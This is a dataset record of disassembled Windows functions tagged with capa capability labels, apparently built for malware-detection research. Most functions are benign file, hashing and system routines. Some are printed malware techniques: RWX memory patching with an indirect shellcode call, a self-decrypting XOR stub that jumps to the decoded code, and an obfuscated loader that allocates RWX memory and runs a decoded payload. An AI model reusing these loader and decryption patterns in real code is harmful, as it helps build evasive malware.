joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10028bd6
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
lea ebp, [esp - 0x118]
sub esp, 0x118
push 0xffffffffffffffff
push 0x100bc087
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x103b33c0]
xor eax, ebp
mov dword [ebp + 0x114], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
imul esi, dword [0x103b5ca0], 0x48
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, dword [0x10156030]
call edi
sub eax, dword [0x103b5c94]
cmp eax, dword [esi + 0x44]
jbe 0x10028d97
lea ecx, [ebp]
call fcn.1009c2d6
and dword [ebp - 4], 0
lea ecx, [ebp]
push 0xcf
call fcn.100036f5
imul eax, dword [0x103b5ca0], 0x48
lea ecx, [ebp]
push 0x44
add eax, dword [0x10156030]
push eax
call fcn.1009c8c8
push 0
push 0xa
lea eax, [ebp]
push 1
push eax
call fcn.1009ed58
mov eax, dword [0x10156034]
sub eax, dword [0x10156030]
push 0x48
pop ecx
cdq
idiv ecx
push eax
push dword [0x103b5ca0]
push str.Send___d__d__point_n
call fcn.10017e49
add esp, 0x1c
call edi
mov dword [0x103b5c94], eax
call fcn.1009fa75
mov ecx, dword [eax]
call fcn.1009f889
imul edx, dword [0x103b5ca0], 0x48
sub esp, 0xc
mov ecx, dword [0x10156030]
mov ebx, eax
movss xmm0, dword [edx + ecx + 0xe]
movss xmm1, dword [edx + ecx + 0xa]
movss xmm2, dword [edx + ecx + 6]
lea ecx, [ebp - 0x18]
movss dword [esp + 8], xmm0
movss dword [esp + 4], xmm1
movss dword [esp], xmm2
call fcn.1009ef94
sub esp, 0xc
mov esi, eax
mov edi, esp
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1009f4e8
imul ecx, dword [0x103b5ca0], 0x48
sub esp, 0xc
mov eax, dword [0x10156030]
movss xmm0, dword [ecx + eax + 0x2e]
movss xmm1, dword [ecx + eax + 0x2a]
movss xmm2, dword [ecx + eax + 0x26]
lea ecx, [ebp - 0x18]
movss dword [esp + 8], xmm0
movss dword [esp + 4], xmm1
movss dword [esp], xmm2
call fcn.1009ef94
sub esp, 0xc
mov esi, eax
mov edi, esp
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1009f49e
mov ecx, dword [0x103b5ca0]
mov eax, dword [0x10156034]
inc ecx
sub eax, dword [0x10156030]
mov dword [0x103b5ca0], ecx
cdq
push 0x48
pop esi
idiv esi
cmp ecx, eax
jne 0x10028d8f
cmp dword [0x103b2dc8], 0
jne 0x10028d7d
and dword [0x103b5ca0], 0
push str.Loop_render_n
jmp 0x10028d89
mov byte [0x103b5c91], 0
push str.Stop_render_n
call fcn.10017e49
pop ecx
lea ecx, [ebp]
call fcn.1009c2f1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x114]
xor ecx, ebp
call fcn.100b7398
add ebp, 0x118
leave
ret
Function at 0x100296b0
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, ecx
mov dword [esp + 8], esi
push edi
mov edi, dword [esp + 0x18]
test ebp, ebp
jg 0x100296d5
jl 0x100296cc
test edi, edi
jne 0x100296d5
xor eax, eax
xor edx, edx
jmp 0x100297a1
cmp dword [esi + 0x38], 0
je 0x100296ec
push ebp
push edi
push dword [esp + 0x1c]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
jmp 0x100297a1
push ebx
mov ebx, edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
test eax, eax
je 0x10029732
mov ecx, dword [esp + 0x10]
cmp eax, edi
mov esi, edi
cmovb esi, eax
push esi
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
mov ebx, dword [esp + 0x1c]
push eax
push ebx
call fcn.1000fff2
add ebx, esi
add esp, 0xc
mov dword [esp + 0x18], ebx
mov ebx, edi
sub ebx, esi
push esi
mov esi, dword [esp + 0x14]
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
jmp 0x1002973a
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
cmp dword [esi + 0x4c], 0
mov ecx, ebx
je 0x10029797
mov ecx, esi
call fcn.1002534d
mov edx, dword [esp + 0x18]
mov ecx, ebx
jmp 0x10029776
push dword [esi + 0x4c]
push eax
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, dword [esp + 0x28]
sub ebx, eax
add edx, eax
add esp, 0x10
mov dword [esp + 0x18], edx
mov ecx, ebx
cmp eax, 0xfff
jne 0x100297a8
mov eax, 0xfff
cmp ebx, eax
ja 0x10029751
test ecx, ecx
je 0x10029797
push dword [esi + 0x4c]
push ebx
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, ebx
add esp, 0x10
sub ecx, eax
sub edi, ecx
sbb ebp, 0
mov eax, edi
mov edx, ebp
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret 0xc
sub edi, ebx
jmp 0x10029799
Function at 0x100297ac
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x100297cf
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x10029886
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, dword [esp + 0x28]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [esp + 0x24], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x1002984e
jg 0x100297fc
test esi, esi
je 0x1002984e
test ecx, ecx
jl 0x10029848
jg 0x10029806
test eax, eax
je 0x10029848
cmp edi, ecx
jg 0x1002981a
jl 0x10029810
cmp esi, eax
jae 0x1002981a
mov eax, esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x10], edi
mov ebp, dword [esp + 0x20]
mov ecx, ebx
push eax
push ebp
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push eax
call fcn.1000fff2
mov eax, dword [esp + 0x30]
add esp, 0xc
add ebp, eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [esp + 0x10]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
jmp 0x10029852
mov ebp, dword [esp + 0x20]
jmp 0x1002985c
mov ebp, dword [esp + 0x20]
test edi, edi
jl 0x10029877
jg 0x1002985c
test esi, esi
je 0x10029877
cmp dword [ebx + 0x4c], 0
je 0x10029877
push dword [ebx + 0x4c]
push esi
push 1
push ebp
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc

Function at 0x1002a781
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
push esi
mov esi, dword [esp + 0xc]
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 4
jb 0x1002a78c
pop esi
mov eax, edx
ret

Function at 0x1002a7a2
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
push esi
mov esi, dword [esp + 0xc]
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 4
jb 0x1002a7ad
pop esi
mov eax, edx
ret
Function at 0x1002ea7b
Capabilities:
Get common file path

Disassembly:
push 0x24
mov eax, 0x100bc923
call fcn.100b740b
mov ebx, dword [ebp + 8]
lea edi, [ebp - 0x28]
xor eax, eax
lea ecx, [ebp - 0x28]
stosd dword es:[edi], eax
xor esi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, 0x104
mov dword [ebp - 0x18], esi
push edi
push esi
mov dword [ebp - 0x14], esi
call fcn.10003a3f
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push edi
cmova eax, dword [ebp - 0x28]
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1002eb1c
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.10016279
push 9
push str.d3d9.dll
lea ecx, [ebp - 0x28]
call fcn.1000fb39
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
lea eax, [esi + ebx]
cmp esi, eax
jae 0x1002eb1b
mov ecx, 0x8689
inc esi
mov eax, 0x6c7
cmp word [esi], ax
jne 0x1002eb14
cmp word [esi + 6], cx
jne 0x1002eb14
cmp word [esi + 0xc], cx
je 0x1002eb5d
lea eax, [ebx + esi]
cmp esi, eax
jb 0x1002eafd
inc esi
mov eax, dword [ebp - 0x14]
cmp eax, 0xf
jbe 0x1002eb53
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x1002eb4a
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.1000e32a
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.100b6ff3
pop ecx
pop ecx
mov eax, esi
call fcn.100b73ba
ret 4
add esi, 2
jmp 0x1002eb1c

Function at 0x1002f76f
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edx
jbe 0x1002f792
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0x10]
jb 0x1002f780
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x10034bfb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
mov eax, 0x7f9d50
call eax
mov ebx, eax
test ebx, ebx
je 0x10034d07
cmp byte [esp + 8], 0
push ebp
push esi
push edi
je 0x10034c7f
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x103b61b8
push 0x40
push 5
pop edi
push edi
push 0x53f3c6
call esi
push 0x103b61bc
push 0x40
push edi
mov ebp, 0x53e9f1
push ebp
call esi
push 0x103b61c0
push 0x40
push edi
push 0x748a1b
call esi
push edi
mov esi, 0x90
mov byte [0x53f3c6], 0xe9
push esi
push ebp
mov dword [0x53f3c7], 0x15b
call sub.VCRUNTIME140.dll_memset
push edi
push esi
push 0x748a1b
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
push 1
jmp 0x10034cfe
push 5
pop edi
push edi
push 0x100c777c
mov esi, 0x53f3c6
push esi
call sub.VCRUNTIME140.dll_memcpy
push edi
push 0x100c7784
mov ebp, 0x53e9f1
push ebp
call sub.VCRUNTIME140.dll_memcpy
push edi
push 0x100c778c
push 0x748a1b
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x24
mov eax, 0x541bd0
call eax
mov eax, 0x541dd0
call eax
push 0x103b61b8
push dword [0x103b61b8]
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
push 0x103b61bc
push dword [0x103b61bc]
push edi
push ebp
call esi
push 0x103b61c0
push dword [0x103b61c0]
push edi
push 0x748a1b
call esi
push 0
mov eax, dword [ebx]
push ebx
call dword [eax + 0x30]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1003523f
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
push esi
mov esi, dword [esp + 0xc]
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 4
jb 0x1003524a
pop esi
mov eax, edx
ret

Function at 0x1003ca1d
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100bdc45
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x103b33c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x30], 0
je 0x1003ca51
push dword [esi + 0x30]
call fcn.10039aa7
pop ecx
cmp dword [esi + 0x34], 0
je 0x1003ca60
push dword [esi + 0x34]
call fcn.10039aa7
pop ecx
and dword [ebp - 4], 0
lea eax, [esi + 0x64]
push 0x1003b84d
push 2
push 0xc
push eax
call fcn.100b8054
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret
Function at 0x10048cbf
Capabilities:
Read file on windows

Disassembly:
push dword [esp + 0x18]
push dword [esp + 0x14]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
xor edx, edx
ret

Function at 0x10048cdb
Capabilities:
Write file on windows

Disassembly:
push dword [esp + 0x18]
push dword [esp + 0x14]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
xor edx, edx
ret

Function at 0x100495e5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
not edx
push edi
mov edi, dword [esp + 0xc]
test esi, esi
je 0x10049611
movzx eax, byte [edi]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100c82f8]
inc edi
sub esi, 1
jne 0x100495f9
not edx
pop edi
mov eax, edx
pop esi
ret

Function at 0x10049618
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0xc]
not ebx
push edi
mov edi, dword [esp + 0x14]
mov edx, ebx
test edi, edi
je 0x1004967e
mov al, byte [esi]
dec edi
inc esi
cmp al, 0x23
jne 0x10049646
cmp edi, 2
jb 0x10049646
cmp byte [esi], al
jne 0x10049646
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100c82f8]
test edi, edi
jne 0x1004962f
jmp 0x10049685
cmp al, 0x23
jne 0x1004966c
cmp byte [esi], al
jne 0x1004966c
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100c82f8]
mov al, byte [esi]
inc esi
test al, al
jne 0x1004965e
pop edi
not edx
pop esi
mov eax, edx
pop ebx
ret
Function at 0x10061a04
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x1c
push edi
mov edi, dword [esp + 0x24]
test byte [edi], 4
jne 0x10061bc7
imul eax, dword [edi + 0x46c], 0x1c
lea ecx, [edi + 0x60]
push ebx
push ebp
push esi
mov dword [esp + 0x14], ecx
add eax, dword [edi + 0x50]
xor ebx, ebx
mov dword [esp + 0x18], eax
movzx ebp, word [eax]
movzx ecx, word [eax + 6]
mov esi, ebp
movzx eax, word [eax + 4]
add ecx, ebx
imul ecx, dword [edi + 0x24]
sub esi, ebx
mov edx, dword [edi + 0x1c]
shr esi, 1
sub ebp, esi
sub ebp, ebx
add ecx, eax
test edx, edx
je 0x10061a9d
lea eax, [edx + ecx]
mov dword [esp + 0x10], eax
test esi, esi
je 0x10061a6e
push esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
test ebx, ebx
je 0x10061a83
push ebx
add eax, esi
push 0xff
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
test ebp, ebp
je 0x10061ae8
mov eax, dword [esp + 0x10]
push ebp
add eax, esi
add eax, ebx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x10061ae8
mov eax, dword [edi + 0x20]
mov edx, esi
shl edx, 2
lea edi, [eax + ecx*4]
mov dword [esp + 0x10], edi
test esi, esi
je 0x10061ac0
mov ecx, edx
mov eax, 0xffffff
shr ecx, 2
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x10]
test ebx, ebx
je 0x10061acd
add edi, edx
mov ecx, ebx
or eax, 0xffffffff
rep stosd dword es:[edi], eax
test ebp, ebp
je 0x10061ae4
mov ecx, dword [esp + 0x10]
lea eax, [esi + ebx]
lea edi, [ecx + eax*4]
mov ecx, ebp
mov eax, 0xffffff
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x30]
mov ecx, dword [esp + 0x18]
movzx edx, word [ecx + 4]
movzx ecx, word [ecx + 6]
add ecx, ebx
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100c26a0]
lea eax, [edx - 1]
add eax, esi
cvtpd2ps xmm1, xmm0
movd xmm0, ecx
mulss xmm1, dword [edi + 0x30]
shr ecx, 0x1f
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [ecx*8 + 0x100c26a0]
cvtpd2ps xmm0, xmm0
mulss xmm0, dword [edi + 0x30]
addss xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
mulss xmm1, dword [0x100c7e9c]
addsd xmm0, qword [eax*8 + 0x100c26a0]
lea eax, [edx + 1]
add eax, esi
movss dword [esp + 0x20], xmm1
add eax, ebx
movss dword [esp + 0x28], xmm1
lea esi, [esp + 0x1c]
cvtpd2ps xmm0, xmm0
mulss xmm0, dword [edi + 0x2c]
movss dword [esp + 0x1c], xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
inc ebx
addsd xmm0, qword [eax*8 + 0x100c26a0]
mov eax, dword [esp + 0x14]
cvtpd2ps xmm0, xmm0
mulss xmm0, dword [edi + 0x2c]
mov edi, eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
movss dword [esp + 0x24], xmm0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x30]
cmp ebx, 0x40
jb 0x10061a2f
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x1c
ret
Function at 0x10071001
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x10]
dec ebx
cmp ebp, ebx
jg 0x1007106d
push 0x1f
pop edx
mov ecx, ebx
and ecx, edx
push esi
mov dword [esp + 0x18], ecx
push edi
mov eax, ebp
mov edi, ebp
or eax, edx
sar edi, 5
cmp ebx, eax
push 0x1f
cmovg ecx, edx
xor esi, esi
inc ecx
xor eax, eax
bts esi, ecx
cmp ecx, 0x20
mov ecx, ebp
cmovae eax, esi
and ecx, edx
xor esi, eax
xor edx, edx
bts edx, ecx
xor eax, eax
dec esi
cmp ecx, 0x20
mov ecx, dword [esp + 0x20]
cmovae eax, edx
add ebp, 0x20
xor edx, eax
and ebp, 0xffffffe0
mov eax, dword [esp + 0x18]
neg edx
and esi, edx
pop edx
or dword [eax + edi*4], esi
cmp ebp, ebx
jle 0x1007101d
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100a577c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
push esi
mov esi, dword [esp + 0xc]
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 8
jb 0x100a5787
pop esi
mov eax, edx
ret
Function at 0x100b5a54
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x100b5a7b
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x100b5a7e
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.100b5a30
pop esi
leave
ret 8
Function at 0x10001510
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
movzx eax, word [ebp + 0xc]
mov dword [esp + 4], eax
movzx eax, word [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.user32.dll_MapVirtualKeyA]
sub esp, 8
leave
ret 8

Function at 0x10001610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x10001668
cmp byte [esi + ebx - 1], 0xa
je 0x1000163c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x10006084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x10001bc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov edi, dword [0x10006094]
mov esi, dword [ebp + 8]
test edi, edi
je 0x10001d80
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x10006094]
movzx eax, al
bt eax, esi
jae 0x10001de0
mov ecx, dword [0x10006084]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x10001c85
test byte [0x100024c8], 8
jne 0x10001d20
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x100024d8], 8
jne 0x10001cd0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x10001c54
cmp esi, 3
jbe 0x10001c90
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x100040dc]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x10001c54
mov ecx, dword [0x10006094]
test ecx, ecx
je 0x10001dc0
mov dword [esp], 0x100024d8
call dword [0x10006094]
test al, 8
je 0x10001c2b
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x10001c2b
mov ebx, dword [0x10006094]
test ebx, ebx
je 0x10001da0
mov dword [esp], 0x100024c8
call dword [0x10006094]
test al, 8
je 0x10001c16
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x10001c1e
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x10006094
call sym._load_func.part.0
jmp 0x10001bdd
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x10006094
call sym._load_func.part.0
jmp 0x10001d2a
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x10006094
call sym._load_func.part.0
jmp 0x10001cde
mov eax, 0xffffffff
jmp 0x10001c85

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x33d65125
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x33d65134
pop dword [ebp - 0x28]
mov eax, 0x33d65134
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xc5589308
sub dword [ebp - 0x38], 0x77064dbd
mov dword [ebp - 0x34], 0xfea7f70f
add dword [ebp - 0x34], 0x338b5536
mov dword [ebp - 0x30], 0xd786f11c
add dword [ebp - 0x30], 0x74c55312
mov dword [ebp - 0x2c], 0xdf50a694
add dword [ebp - 0x2c], 0x20af596c
lea eax, [ebp - 0x38]
push eax
mov eax, 0xe44bd233
add eax, 0x4f843ed5
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x23eca6da
sub dword [ebp - 0x38], 0xaf7a3d84
mov dword [ebp - 0x34], 0xd421e345
sub dword [ebp - 0x34], 0x92b581d0
mov dword [ebp - 0x30], 0x506bc0d6
sub dword [ebp - 0x30], 0xecfc546a
mov dword [ebp - 0x2c], 0xdcb52936
sub dword [ebp - 0x2c], 0xdcb52936
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xb6a5614a
sub eax, 0x82d55026
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3892e
push 0
call eax
mov ecx, 0xa14ea096
sub ecx, 0xa14e56f2
xor edi, edi
add edi, eax
mov ebx, 0x33d71000
add ebx, dword [ebp - 0x28]
mov esi, 0x530aa2ea
add esi, 0x893a73b1
xor dword [ebp - 0x20], ecx
mov edx, dword [ebx]
xor dword [ebp - 0x14], ebx
add edx, esi
mov dword [edi], edx
add dword [ebp - 0xc], edx
add edi, 4
add ebx, 4
loop 0x33d6524d
add eax, 0x11963
xor ebx, ebx
add ebx, eax
add eax, 0x37c06eef
sub eax, 0x37c06eea
mov ecx, 0x291e23bb
sub ecx, 0xf54e23bb
add ecx, dword [ebp - 0x28]
call ebx
leave
ret